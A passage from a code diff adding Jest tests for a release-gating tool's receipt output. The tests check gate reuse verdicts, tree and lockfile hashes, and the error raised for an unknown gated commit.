gate_reuse: 'eligible', old_version: '1.2.4.0', new_version: '1.2.4.0', residual: [], files: [] });+ expect(j.gated_tree).toBe(repo.git('rev-parse', `${g.head}^{tree}`));+ expect(j.identity.gated.lockfiles['package-lock.json']).toMatch(/^[0-9a-f]{64}$/);+ expect(j.identity.diffs).toEqual([]);+ expect(j.gates.map((x: any) => [x.label, x.verdict])).toEqual([['tests', 'reusable'], ['digest', 'rerun']]);+ expect(j.gates[0].cmd_sha256).toMatch(/^[0-9a-f]{64}$/);+ expect(j.policy).toMatch(/^origin\/main@[0-9a-f]{12}:\.gstack\/ship-policy\.json$/);+ });++ test('a gated head that is not a commit here is EVIDENCE_IDENTITY_UNKNOWN with the fetch hint', () => {+ const repo = fixture();+ const r = receipt(repo, ['--gated', '0123456789abcdef0123456789abcdef01234567']);+ expect(r.status).toBe(EXIT.fail);+ expect(r.err).toMatch(/not a committed head here \(fetch it, or copy the gate-ahead worktree's object store\).*\(EVIDENCE_IDENTITY_UNKNOWN\)/);+ });+});